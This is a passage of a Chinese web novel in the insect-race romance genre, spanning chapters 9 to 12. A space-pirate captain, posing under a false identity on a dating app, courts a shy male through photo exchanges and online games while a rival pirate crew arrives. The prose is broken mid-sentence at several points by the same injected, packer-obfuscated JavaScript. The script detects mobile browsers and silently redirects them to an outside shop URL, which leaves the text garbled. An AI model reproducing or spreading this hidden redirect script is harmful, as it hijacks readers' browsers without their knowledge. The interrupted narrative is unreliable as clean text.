他将誓死追随强大全能英勇帅气的莱卡约老大! 莱卡约低头给哈德森的照片点赞,手指触碰到屏幕的瞬间,他似乎隔着遥远的空间、跨越了星际,在哈德森软软的脸蛋上戳了一下。 图片上迅速出现一个嫣红的桃心,周围闪烁着浮夸星星的特效,下方跳出系统提示。 【布伦丹刚刚点赞了哈德森的照片哦~?】 这么急着让他点赞,难道是为了看到这颗桃心吗? 不愧是相亲软件,竭尽全力的营造恋爱氛围,但也只有小孩子才会上当。 比如哈德森。 他应该回复一句赞美的话,不能太浮夸,也不能表现得太过直白,要恰到好处,毕竟哈德森是个羞涩内向的雄虫。 斟酌语句时,哈德森先给他发送了信息,看起来有些急迫。 【哈德森:你能给我也发一张吗?】 【哈德森:只要是你发的照片,随便什么样子都可以。】 莱卡约回复了一句。 【布伦丹:稍等一下,我找找。】 随便什么样?那怎么可能。 哈德森的匹配小作文里可是明确要求,雌虫的样貌要在7分以上,绝对不是随便一张照片就能糊弄过去的。 他现在刷了不少好感度,如果随便发一张邋遢的照片过去,哈德森心目中他就是那副邋遢模样,之后好感度可不好提升了。 还得符合他初始设定的身份…… 莱卡约抬起头,用一个眼神就定住了奎恩试探的步伐。 “想干什么,偷师学艺吗?你不是说,你对雄虫没什么兴趣吗?” 奎恩讪笑着挠挠头: “老大,你懂的,我一直都把你当成我的目标,当然要紧紧跟随着你的脚步。既然你觉得找雄虫很必要,那我也肯定得跟上!” 莱卡约用一长串密码打开光脑的隐藏内存,在里面翻动着,查找着六七年前的照片。 那时他还在中央星上,应该有不少满足要求的。 照片很多,没有一张是自拍。 拍摄照片的那个家伙,会给他买很多精致优雅的衣服,将他的头发整理得一丝不苟,会摸着他的头发夸赞他。 莱卡约随便打开一张,他半侧着脸,高挺的鼻梁上架着框架眼镜,穿着一件黑色高领毛衣,脖子上戴着细细的银链,袖子挽到手肘处,手里端着一本书,露出线条清晰流畅的小臂。 看似普通随意,但只有识货的才知道,那副框架眼镜和细银链是由著名的维兰大师亲手设计,价值百万星币,而拍摄时他的视线看向侧面,没有直视镜头,恰好削弱了他略显凌厉的气势。 从金钱到样貌,还有照片的氛围感,都堪称一流。 他必须承认,如果想要吸引雄虫的注意力,那家伙的审美无可挑剔。 莱卡约将照片发了过去。 一颗嫣红的小桃心立刻出现。 【哈德森刚刚点赞了布伦丹的照片哦~?】 这么急? 下一秒,系统提示。 【点赞已取消。】 莱卡约:??? 不是,这是什么意思? ** 哈德森正在紧紧盯着屏幕。 两千星币巨款! 能不能快一点。 干什么啊?随便发一张,风景照都行,我只想赶紧做任务! 不过说是这么说,他内心稍微有一丢丢紧张。 他不喜欢自拍,仅有的照片是十年前的,还是个微胖小肉蛋儿,和现在完全不同。 但他绝对不会为了一个任务专门自拍的。 他点开自己的照片打量了一番。 没关系,哪怕脸颊上有点儿肉,依旧是浓眉大眼的雄虫一枚。 确认无误后,他就像没头苍蝇似的急得团团转。 具体急什么他也想不清楚。 总归一个没谈过恋爱、人际交往关系约等于零的雄虫,不会知道内心的那点忐忑是为了什么,也不知道他着急的时候为什么会点开自己的照片细看。 全当是因为任务奖励。 找什么照片啊? 难道布伦丹准备去涂个粉,再超绝不经意自拍一张? 哈德森已经准备发消息催促,就收到了一条信息。 【布伦丹:「图片」】 他点开的瞬间就在狂按点赞。 然后才看到一张帅气浓度超出预期的照片。 ??? 稍等稍等。 他忘干净自己要去领取任务奖励,先双击点开图片放大。 照片似乎是在书房里拍摄的,光线略显昏暗,照片里布伦丹也穿着黑色的衣服,整体基调都很暗。 他铂金色的头发变成了唯一的亮色,每一根发丝似乎都在发光,像是被书房里的灯光浸透,看不出证件照上的凌厉冷峻,而是在生活中定格下来的一处沉静的瞬间。 哈德森左右拖动着照片,从布伦丹的脸到脖子,从胳膊到手指,都仔细看了一遍。 最终得出结论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013311|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这个角度确实看不到眼尾和脖子上的小痣。 右下角偶尔冒出一个夸张的桃心,他没看到,注意力全在那张脸上了。 “有卡尔五分神韵,确实足够帅气了。能给……八分吧。一分扣在这个角度不好,不能细看。” 卡尔是他小时候喜欢的雌虫大明星,虽然隐退多年,人气至今未被超越。 他将照片缩小,准备领自己的奖励。 然后就看到聊天界面有一长串系统提示。 【哈德森刚刚点赞了布伦丹的照片哦~?】 【点赞已取消。】 【哈德森刚刚点赞了布伦丹的照片哦~?】 【点赞已取消。】 …… 哈德森瞬间红温,脚趾要在地上抠出三室一厅。 救、救命啊! 拉黑! 永远不能再联系了! 在他即将付出行动之前,他看到布伦丹在中间插了几句。 【布伦丹:你……你的光脑出故障了吗?】 【布伦丹:别急。屏幕触摸故障的话你先擦一下屏幕,再试试重启。如果还有问题,去设置界面开启触控矫正。】 哈德森想装死,但是看到系统提示不再连续跳出后,布伦丹又发了消息。 【布伦丹:现在修好了吗?真厉害。】 【哈德森:嗯。】 发送完之后,他光速退出【桃花缘】软件,开始专心点外卖,尝试把自己脑子里乱七八糟的念头都丢走。 等扒拉了两口饭,他莫名其妙的开始嘿嘿笑,自言自语般解释着: “本来就是故障啊,我又没一直点赞,不需要心虚。今天上了好多分,好开心啊。” 明天还要继续一起玩。 等下午睡醒,找他咨询的客户又来消息了。 【远风:还是之前的那个雌虫,他想问一下,雄虫会主动靠近,但想要再进一步的时候,就突然消失,是不是节奏太快了?】 哈德森想到这个客户好像和雄虫认识没几天,居然就线下见面了,还会靠近贴贴,外面的雄虫都这么开放啊?!那他之前的猜测是不是方向错误了? 这太不专业了。 但是挺住,200星币的活儿不能随便舍弃,反正只是询问他的意见,他只要言语上装的专业一点就行。 【林中云雀:我认为节奏确实太快了,还需要一些了解的时间。他们之间最大的问题就是不够熟悉,否则他也不会经常来咨询问题了。从我的视角来说,有主动行为就是一种示好。但示好不等于给了对方随便的权力,还要看之后会不会持续下去,都需要时间验证。】 【远风:感谢您的解答。】 9. 他是骗子 9、 莱卡约从来不是一个需要别人帮他拿主意的雌虫,他也不觉得其他人的经验能够完全复制在自己身上。 但他盯着光脑屏幕,上面停留在最后的聊天界面,思索再三还是理解不了哈德森的脑回路。 【哈德森:哦。】 【布伦丹:照片是随便拍的,光脑里只有这张了。】 【布伦丹:你的照片很可爱啊,和你的声音很搭。】 接着就是长久的沉默。 他们也玩过两天游戏,莱卡约知道哈德森自闭的意思是,他不想进行这个话题了,于是换了个说法。 【布伦丹:吃过了吗?吃完还要继续玩吗?】 没有回复。 他还是第三次询问了佩希。 前两次佩希都过了一段时间才回复,这次先和他聊了会儿天。 【远风:主动靠近?】 【远风:你朋友找雄虫发展这么快啊,不会遇到骗子吧。】 【远风:你得提醒你的朋友一句,现在有不少新型骗局,D级雌虫打着结婚恋爱的名义和雌虫发展关系,期间要求购买礼物。这种聊一会儿主动,一会儿突然不见了,真的很像骗子。他就是利用雌虫渴望雄虫的天性,塑造出和其他雄虫不一样的形象,然后狠狠地敲骨吸髓。】 一般D级雌虫因为等级很低,身型不再那般强壮高大,比较接近瘦高体型的雄虫。 这也和他们种族的特性有关。 不管是雌虫还是雄虫,所谓D级都是缺失了自己最核心的能力。 D级雄虫没办法安抚。 D级雌虫没办法虫化。 过去D级雌虫都被视为没有价值的废物,整个社会彻底忽视了这个群体,他们没有资格踏入上城区,一生都将在下城区最混乱的地方生活,就连人口登记都不会涉及这部分雌虫。 后来随着权益基本保障法推出,D级雌虫也有了基本生存权,他们开始一步步踏入了公众的视野。 但问题也随之而来,很多D级雌虫找不到工作,也没有能力和其他等级的雌虫竞争,于是开始从事诈骗行业。 莱卡约看到骗子这个词,嘴角微微扬起,回答道: 【赤隐圣徒:肯定不是。】 因为我才是那个骗子。 【远风:你不用这么肯定。我就告诉你一句,你花了很多钱,说不定对面根本就不是雄虫。】 【远风:不是,我是说你的朋友。要是你,怎么可能被骗呢,哈哈哈。再资深的骗子在你面前都像个新兵蛋子。】 【远风:有时候你哪怕和我说实话,我也会忍不住怀疑,是真的吗?你不会又在搞我吧?】 【赤隐圣徒:对,我的那个朋友其实就是我。】 【远风:你又来了,逗我很好玩吗?】 【赤隐圣徒:不好玩。】 【远风:有了。】 【远风:回到你最开始的问题。如果对面雄虫不是骗子,那你的朋友还得再多了解对方。认识时间太短的话,一些非常普通的行为在解读上可能就有一定程度的扭曲。既然每次主动他都会突然消失,那就被动一些,看对面的反应如何。】 莱卡约挑眉,发送信息试探: 【赤隐圣徒:他每次给你的回复还挺快啊。】 【远风:嗯,性格温柔,有礼貌,也很有智慧,感觉像是个结过婚,会疼人的雄虫。】 【赤隐圣徒:你想挖墙脚?】 【远风:就是平常问他一点问题。】 【远风:等等,你又套我的话!】 莱卡约笑了起来。 佩希一直自称了解雄虫,看样子居然是私底下找其他雄虫问。 不过这样也确实合理。 【赤隐圣徒:你要是忙的话,把他的联系方式给我,我自己问吧。这样也不麻烦了。】 【远风:也行,我最近确实有不少事情。先说好,我和他是合作关系,你的身份是我的助手。这不是无偿啊,一次咨询200星币。还有,平常不要打扰人家。】 【远风:不同雄虫的性格不一样,你到时候给你朋友意见,也要斟酌一下。】 【赤隐圣徒:好。】 莱卡约本身并不想和雄虫建立太多联系,只是不想让朋友为他垫钱。 他很快添加了对面的账号。 林中云雀。 从名字上看,确实有一种年上的感觉,很沉稳成熟。 他给自己ID改成和佩希类似的格式。 【似风:您好。我是远风的助手似风,很高兴认识你。】 【林中云雀:你好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013312|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也是远风的助手,有什么问题可以直接问,我看到了会尽快回答。】 或许是佩希的描述先入为主,莱卡约确实从这段文字里感受到了那种会疼人的感觉。 因为他说“我也是助手”,好像和莱卡约处在同一个位置上,没有端起一副高高在上的雄虫姿态。 莱卡约不喜欢傲慢的雄虫。 【似风:好的。现在暂时还没有咨询,那就不打扰您了。】 【林中云雀:嗯。】 小插曲结束后,莱卡约才和奎恩去吃饭。 血蝎子号上的其他舰员都聚在一起,看到他俩后立刻围了上来。 “老大,猩红号马上降落这里了。” “他们似乎带了一些不得了的东西。” “怎么办?我们是不是该撤了?” …… 莱卡约眉头皱了起来。 虽然同为星盗,但猩红号是星盗中最臭名昭著的那种。 他们多次劫掠商舰,将上面所有的雌虫全部虐杀。 他们还在远离中央星的很多星球上烧杀抢掠,将星球上的雄虫尽数掳走,豢养在一颗坐标隐秘的星球上充当自己的奴隶,雌虫幼崽囚禁在斗兽场里,与异兽表演厮杀搏斗,哪怕是未孵化的蛋也不放过,他们会以一种非常血腥的方式烹饪食用,说这样会增加他们的力量。 这是一群极其残暴的疯子。 “不应该,这里靠近中央星,他们怎么敢来这里?只要出现任何异常情况,帝国军团能在两个小时内就赶到这里。” 莱卡约问: “他们降落还有几天时间?” 猩红号是大型星舰,想要降落在星球上必须先进入行星轨道,速度降低到一定数值以下才行。 这是为数不多的窗口时间。 其中一个雌虫回答道: “还有五天时间。” 莱卡约沉吟片刻,说: “先不要准备走。” 一众雌虫顿时哗然: “为什么?” 莱卡约笑了笑,随口说: “做生意啊,咱们不还有一些货没卖完吗?” 但他已经绷紧了神经。 猩红号不该出现在这里,他们是疯子,但不是傻子。 目的是什么? 10. 有种冲动 10、 哈德森的兼职没干两天就换了对接的人,他严重怀疑对面是不是质疑他的专业性,所以把他打发给一个小助手。 一想到未来可能少了一个稳定的收入来源,他必须得提前规划,再次创收了。 搜索【雄虫,来钱快,合法渠道,无需与人沟通,不需要安抚,不卡学历等级】这一系列关键词,一个搜索结果赫然出现在第一排。 【雄虫捐精。】 说是无偿捐献精子,实际上会给雄虫一笔不菲的营养费,并且会现场直接转账,按量计费,5000星币/1ml。 理论上,如果是个水龙头级别的无敌喷泉战神,那他可以一天获得几十万的收入。 当然,未来可能还有无数犄角旮旯里冒出来的子子孙孙。 哈德森兴致缺缺的叉掉。 他对捐精毫无兴趣。 不是因为他讨厌宇宙中突然多出一个和他有血缘关系的孩子,而是因为他对那方面没有欲望,至今没有过那种念头。 他小时候喜欢的是卡尔那样的大明星,拉高了他的阈值,懂事后,很多雌虫的长相都入不了他的眼。 也不能说其他雌虫都很丑,就是激发不起原始冲动。 其实卡尔本人来了也不行。 因为不管怎样,在他心里卡尔就是很神圣很完美。 他的生理功能又没有欠缺,大概是患上了精神养胃症。 鉴定为玩游戏玩的。 玩游戏…… 哈德森想起来这几天认识的游戏搭子,布伦丹,忍不住掏出光脑准备再研究一下布伦丹的长相。 他必须强调一点,布伦丹的气质并不完全符合他的审美,只是有一种说不出道不明的感觉。 打开【桃花缘】后,里面蹦出来几条提示。 他自动无视掉那条你很可爱的信息,眼睛直接瞄准了最后一条。 他立刻回复: 【哈德森:好的。】 没反应,他继续发: 【哈德森:上号。】 依旧没反应。 【哈德森:不在吗?】 然后过去一个小时,布伦丹都没有回复。 不过这期间哈德森也没闲着,他把布伦丹发送的照片保存到本地,狠狠研究了一个小时。 随后,他才后知后觉的发现一个问题。 “怎么戴着一副眼镜啊?他的眼睛有问题?” 自从几十年前推行教育改革后,未成年的雄虫和雌虫都被要求强制在学校念书。 实际上虫族过去根本不存在教育。 绝大多数虫族出生时就自带一部分本能,他们生下来就知道怎样战斗,怎样繁衍,怎样安抚。一部分虫族还会获得自己上一辈零星的记忆,所以以前一直没有系统性的教育。 改革后,也就诞生了一部分因学习过于刻苦得了眼疾的虫族。 哈德森在义务教育期间,眼睛就差点儿学出了问题。 那时他的成绩还不错,学习很刻苦,名列前茅,后来他的雌父身体状态变差,他想要救他的雌父,课堂上学到的知识却无法帮助他分毫,他眼睁睁看着雌父衰弱,离世。 再然后就是他的雄父特里斯再婚,他愤而离家,自暴自弃,学也没有继续上。 看到布伦丹戴着眼镜,他的心口涩涩的,有一种冲动涌了上来,想要和布伦丹再多聊聊天,多交流一些过去。 这就是怜悯吧? 但那股冲动似乎也没涌到心口,到了肚子那里就停下了。 他也不知道为什么,可能他的怜悯之心动力不足,后继无力吧。 至于为什么看了半天都没看到布伦丹戴眼镜,他也能解释。 他的眼睛不是差一点儿出问题吗,后遗症是他有些情况下只能看到自己想看的东西。 别管医学上有没有这种后遗症,反正他现在有这个毛病。 那边一直没回复,哈德森倒是没多想。 毕竟他也经常在聊天时突然失踪。 去上厕所了,光脑没电了,信号不好,在睡觉,临时有事等等借口。 总归就是这些事情,问了也没什么意义。 果然,布伦丹看到他信息后,回复道: 【布伦丹:刚才项目出了一些小状况,需要我去处理,暂时离开了一会儿,不好意思。】 【哈德森:那不能一起玩了吗?】 【布伦丹:现在可以。】 ** 实际上这完全不是小状况。 猩红号靠近后,虽然星舰本体没办法在短时间内登陆这颗小行星,但星舰上的雌虫可以直接飞上来。 莱卡约刚说完,血蝎子号就有不速之客造访。 一个身高超过两米,肌肉高高隆起,体型健硕的S级雌虫推开守在门口的雌虫,大摇大摆闯进他们的领地,问: “莱卡约,在吗?” 杰森。 猩红号的二副。 莱卡约视线落在他身上。 他身上的血管像一条条暗色的蚯蚓般虬结突起,皮肤透着一股暗红色,外表像是狂化病晚期的症状,但眼底并没有血丝,呼吸节奏也很正常。 莱卡约以前和他交手过,知道他是个脾气极其暴躁嗜杀的雌虫。 星盗常年要在太空中航行,大多数时候都缺乏雄虫安抚,雌虫需要控制脾气,这样可以避免力量过度使用,给身体造成额外的负担。 杰森从来不克制自己,狂化病非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013313|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严重,脾气也就更加暴虐。 但现在…… 莱卡约走到他面前,说: “似乎不在。” 这是一句程度不高的挑衅。 杰森笑了起来,露出森白的牙齿: “那出现在我面前的,是哪个小家伙?” 莱卡约确定他的状态有问题,不是说他有病,而是状态太好了不正常。 于是也笑了,继续挑衅: “看来你不仅眼睛瞎了,记忆力也出了问题。居然忘记自己像条死狗趴在地上的画面,非常可爱呢。” 杰森脸色一变,拳头紧握,手臂上的血管暴起。 莱卡约已经做好了接他一拳的准备,却看到他紧咬牙根,朝外撇了下头,说: “出去说。” 莱卡约眼神示意自己的手下不用惊慌,随后走到外面。 在踏出血蝎子号的那一刻,杰森突然发难,手肘向后一击,一道凶猛的疾风朝身后莱卡约的面门袭来。 莱卡约没有选择躲开,抬起右手正面接下。 在这种时候,他必须展示自己的强硬,否则麻烦会接踵而至。 随后杰森肩膀收紧,像狂风暴雨般凶猛出拳。 莱卡约一边格挡一边观察着杰森的样子。 他脸上是一种狰狞的笑,眼睛里却不见丝毫浑浊,同样在观察着他的反应。 杰森的狂化病似乎好了,力量也比以前上了个台阶,比普通的S级雌虫强一些。 莱卡约确定这一点后,手在接住杰森拳头的瞬间向侧面一转,卸掉正面而来的冲击力,随后牢牢抓住杰森粗壮的手腕,利用惯性将他的身体朝自己这边带,随后单手握拳,对准杰森的胸口下方的位置出拳。 仅一击,杰森就踉跄着向后退了两步。 莱卡约甩了甩手腕,漫不经心的说: “你过来找我,不会就是想再挨一次打吧。我既没有那种爱好,也不喜欢你这种粗鲁的长相。” 杰森站起身,额头上还能看到突起的血管,但他很快控制住了自己的脾气,说: “怎么样,有感受到我实力的提升吗?很快,我会比你还强,到时候,我一定会……” 他舔了舔嘴唇,眼神极其肮脏。 莱卡约嗤笑一声: “你多读点书吧,雌虫的等级从出生那一刻起就是固定的。” 杰森留下一句意义不明的话: “那可不一定。我们很快还会见面的,到时候就是你来求我们了。” 随后展开膜翅飞上了高空。 莱卡约眯着眼睛,陷入了沉思。 雌虫突破等级,他确实见到过,只是…… 他近期必须得回中央星一趟了。 11.特殊战术 11、 回到血蝎子号上,莱卡约的手下全围了上来。 “杰森他想干什么?” “老大牛逼!没有虫化都可以挥出那样有力的拳头,狠狠教训杰森,太帅气了!” “咱不是要和猩红号做生意吗?这样真的没问题吗?” …… 一连串的问题甩到了莱卡约面前,他却没有直接回答: “看过现在的流行小说没?一般角色实力提升后,第一件事情是什么?” 几道声音同时响起: “教训那些欺负过我的家伙!” “泡雄虫!” “复仇!” 莱卡约耸耸肩: “可惜我不是雄虫,也不喜欢这种求偶方式。所以只能勉为其难的扮演一个反派角色,并且用行动告诉他,你的等级还还不足以挑战最终boss,回家练练吧。” 他的手下笑作一团。 奎恩用无比崇拜的眼神看着他的老大,内心是完全的臣服。 实力提升? 不过就是从草履虫进化到蚂蚁,抬起脚便能碾压。 他尾随在莱卡约身后,一起进入办公室,充满着期待地问: “接下来要做什么?” 是杀了杰森这个蠢货,还是和猩红号正面对决? 莱卡约抬起眼,淡定地说: “继续之前的计划啊。” 之前的计划?居然是另外一种选择? 奎恩兴奋地喘着粗气,压低声音,像要保守住这个秘密,不被第二人知道: “我们要联合猩红号向中央星宣战,是不是?” 莱卡约一愣,指着自己的鼻子问: “宣战?我?” 奎恩愣了下: “那老大你为什么要攻克中央星的官方服务器?不是要潜入中央星,里应外合吗?” 莱卡约扑哧一声直接笑了起来,说: “你知道洛……算了,你肯定不知道,我给你简单描述一下。现任虫帝的亲卫队,每一个雌虫的水平都是S+级。但S+级只是等级的上限,不是他们实力的上限。我觉得,现在已经应该创造一个新的级别,用SS级来形容更合适。” 对于雌虫来说,每一个级别之间的实力差距是天差地别,因为不同级别之间有截然不同的战斗方式,哪怕一百个A级别雌虫,都没办法和一个S级别雌虫对抗。 最低等的D级雌虫没办法虫化,连基础的战斗能力都没有; C级雌虫的虫化过程漫长,强度极低; 从B级雌虫开始,他们能够将自己的部分身躯虫化,减轻虫化战斗的负担; 到了A级,雌虫拥有了去太空作战的能力; 而S级,他们的虫化有两种姿态,一种和普通雌虫相同,让虫甲覆盖在身体上。另外一种就是完全虫化,能变成几十米到百米的巨大怪物。 莱卡约能这么说,意思就是普通的S级别雌虫,已经完全无法和虫帝亲卫队抗衡。 绝对的碾压。 奎恩忍不住问道: “老大,这种事情你都知道?难道你和他们交手过?” 莱卡约停顿了片刻,然后耸耸肩: “这种情报很容易获得,真要碰见他们,那我这个毛头小贼可要被逮捕了。我还年轻,不想坐牢。” 奎恩始终看着老大,不知是不是错觉,他从那短暂的停顿里,发现老大似乎陷入了回忆。 在想什么? 难道和老大的身世有关? 老大似乎也可以轻松压制很多S级雌虫,他还不惧怕杰森实力提升后再来寻仇…… 奎恩的呼吸放轻了一些。 ** 哈德森又可以和布伦丹组队打游戏了。 不过那两款游戏因为雄虫防沉迷系统超时了,只能更换游戏。 原本他打算换另一款射击对抗类游戏,猛猛上分,但想到布伦丹戴着眼镜,心生不忍,临时更换成一款回合制策略游戏。 这游戏最近两年才火,主要就是购买不同属性的棋子和敌方作战,玩家只负责完成策略和布局,战斗由系统自行完成。 正常游戏一般是八个玩家,每个回合随机匹配一个对手进行攻防,输了会扣血,直到血条扣没,就会淘汰退场。 【布伦丹:这个游戏?我没有听说过。】 【哈德森:真的?要是开局十分钟后,你来我家把我揍成猪头,我就再也不相信你了。】 【布伦丹:我还能打你?我们不是组队的队友吗?要不换个游戏吧。】 哈德森这下相信他真没玩过,立刻倾囊相授。 【哈德森:我先教你一个最简单的阵容。你看到这个红色小人的棋子……】 他发现打字会严重耽误时间,干脆换上了语音,手把手教学。 “你告诉我,备战席里有哪些棋子可以买?” 布伦丹也打开麦克风,低笑了一声,莫名其妙的说了句: “原来你是这个想法。也行,玩这个也挺好。” 哈德森看到回合的倒计时在流逝,急了,稍微放大了一点声音: “你先告诉我啊,瞎说什么呢,听话。” 布伦丹乖乖按照他的指示购买棋子,开始第一回合的战斗。 这个时间玩家无法操作,就可以自由聊天。 哈德森盯着布伦丹的棋盘: “你看!我教你的没错吧,第一回合你守住了。” 布伦丹没有顺着他的话,反问道: “你怎么知道我这边的战况,我就看不到你那里的?” 这个游戏的默认视角只能看到自己的棋盘,想看别人得专门换视角。 哈德森说: “你是新手,我肯定得先顾着你这……” 越说他声音越小,他发现自己家里没守住,被别人打败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014992|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扣了5滴血。 而布伦丹那边只能听到他说着说着没音了,开口问他: “怎么不继续说了,有什么难以启齿的话说不出口?” 依旧是低沉的鼻腔共振,依旧把哈德森震得炸了毛。 不过哈德森认为这是“败北”的气恼,于是小声威胁道: “你要是再这么说,我就不教你了啊。” 他指的是布伦丹的嘲笑。 布伦丹妥协道: “长官,哦不,哈德森老师,我很需要你细致周到的帮助。” 最后几个词他稍微拉长了音调,听得哈德森非常舒坦。 随后的几个回合,布伦丹都按照哈德森的指示购买棋子。他的运气很顺,需要的棋子都有,迅速组建出一支强劲的阵容。 哈德森则倒霉透了,阵容始终差一两个关键棋子没能成型,pk时输多赢少,既扣了血,金币也很少。 于是第十个回合,布伦丹的小队来到他家,狠狠揍了他一顿,把他的血量扣到了最后一名,到达了淘汰边缘。 经过这十几分钟的游玩,布伦丹也看懂了一些数据,发现他的血量不对劲后,贴心地问道: “你的血怎么扣了这么多?” 哈德森这下又自闭了,不想说话。 布伦丹继续问: “这是你的特殊战术吗?” 哈德森专门打开麦克风,用鼻子“嗯”了一声,让他听到自己的回答。 接着下一回合,哈德森又输了,被第一个淘汰出局。 哈德森迅速闭麦。 布伦丹沉默许久,才替他想出一个理由: “你为了教我,牺牲了好多。” 没有得到回应,哈德森还在自闭。 布伦丹换了说法: “那我要不退了,我们再另外开一把,怎么样?” 哈德森立刻发出胜负欲极强的声音: “不行!把他们都干死!” “但是你……” “从现在开始听我指挥,布伦丹小兵。” “好的,长官。” 结束后,布伦丹依靠极强的牌运和后期精妙的运营获得了胜利,哈德森对这个结果表示很满意。 布伦丹闲聊一般说: “看不出来,你的性格还有一点儿强势呢。” 哈德森似乎察觉到了什么,小声问: “你讨厌我这样吗?” 天啊,他玩游戏时很讨厌别人指挥他,怎么到自己围观时就说个没完。 布伦丹轻笑一声: “不,我很喜欢。” 那声音好似演奏时负责混声的乐器一般,有种别样的感觉。但是又因为句子很短,所以很难捕捉。 哈德森疑惑了半分钟,随后说道: “正常,因为你还不太会玩这款游戏,所以愿意听别人讲解指挥。” 耳机里似乎叹了口气。 12.满足要求 12、 莱卡约准备加快攻略的速度。 原计划里,他准备花费两三个月的时间和哈德森搞好关系,建立信任基础,随后再去中央星见面加同居这一系列的流程。 现在恰好他有事情要办,哈德森那边反馈的也很不错,他顺势推一下进度。 一款偏休闲的游戏,莱卡约哪怕没玩过,打开这个游戏界面也知道这是什么类型。 哈德森也有同样的想法? 就像还处在暧昧期的两人,一起去游乐园玩,如果在玩过山车、跳楼机这些刺激类项目后,突然切换到摩天轮,那八成是要聊天沟通感情了。 莱卡约很自信,尝试发起第一轮攻势。 借着哈德森因为羞涩而不好意思开口,他主动出击。 “怎么不继续说了?” 效果拔群,哈德森威胁他的语气里明显能听出一些窘迫。 紧接着,他发动第二轮攻势。 哈德森老师。 通过称谓的变化进一步拉进两人的关系,这一步也很成功。 第三轮,就是哈德森被扣掉一大半血后,细心发现异常,表示他在时刻关心对方。 应该很完美的。 情况却古怪起来。 哈德森自闭了。 不喜欢被关心? 没有得到太多反馈,莱卡约决定以退为进。 “我退了吧。” 哈德森原本轻飘飘的声音却突然放大了,明确表达了不行,还要指挥他。 莱卡约真的摸不清哈德森的性格。 他从来没有接触过类似的雄虫。 胜利后,他能听出哈德森的情绪变得很轻快,完全没有之前的消沉。 奇怪。 明明像一张白纸一样,情绪波动非常明显,但前后之间却没有什么逻辑性。 莱卡约决定再次试探。 “你性格有一点儿强势呢。” 在他接触过的雄虫里,单说这句话一定是扣分项。 真正强势的不喜欢被雌虫定义,不强势的雄虫会认为自己被误解。 他已经想要如何应对哈德森的怒火,听到的却是一句软软的回复。 没有责怪他言语越线,反倒问他是不是讨厌这样。 脑海里瞬间浮现出那个脸上带着婴儿肥的雄虫,大眼睛可怜巴巴的。 莱卡约的嘴角忍不住上扬。 雄虫如果开始关心雌虫的感受,就说明他的心彻底沦陷了。 这下攻略完成了。 他决定发动最后的攻势。 暧昧的表白。 一定能把关系推进一大步。 回答他的是短暂的沉默,接着是极其坦然的回答,混杂着些许疑惑,没有任何羞怯的意思。 他就像毕业后拿着一张基础的小学试卷,自信满满的答题,甚至把答题时每一个步骤都写出来了,但结果是零分。 连步骤分都没拿到。 为什么? 难道他真的不会谈恋爱? 哈德森如果不喜欢他,为什么还总是主动联系他? 不会是,纯粹贪玩吧?? 不会吧? 他们是在相亲平台上认识的,他还塑造出一个完美符合哈德森择偶标准的雌虫,然后哈德森面对理想型的雌虫,就没有任何心动的感觉,硬玩游戏? 这完全不合理。 但莱卡约不会盲目自信。 在之后的两把游戏,他开始在对局的空闲时间里试探: “你那天怎么突然想要交换照片?” 沉默半分钟后,哈德森小声回答: “是你先说想要权限的,我……我就是满足你啊。” 语气中带着心虚,说完,他又立刻补充了一句: “我已经满足你的要求了,你也需要满足我的。你那张照片不是正脸的,你得给我发一张正面的。因为,因为我要……” 莱卡约不等他想出什么蹩脚的借口,先答应了下来。 “好。” 随后哈德森又沉默了。 莱卡约正要问他干什么呢,就听到哈德森催促他: “不用挑,随便正面的就行。” 他就拿起光脑随便找了张正面照发过去。 接着不仅仅是沉默了,他看到哈德森的金币一直没有变化,连游戏都没在操作。 没操纵游戏还能干什么,难道在看他的照片? 他友情提醒: “你在掉血,不买棋子了吗?” 哈德森快速说了一句: “我游戏崩了,明天再玩。” 头像立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 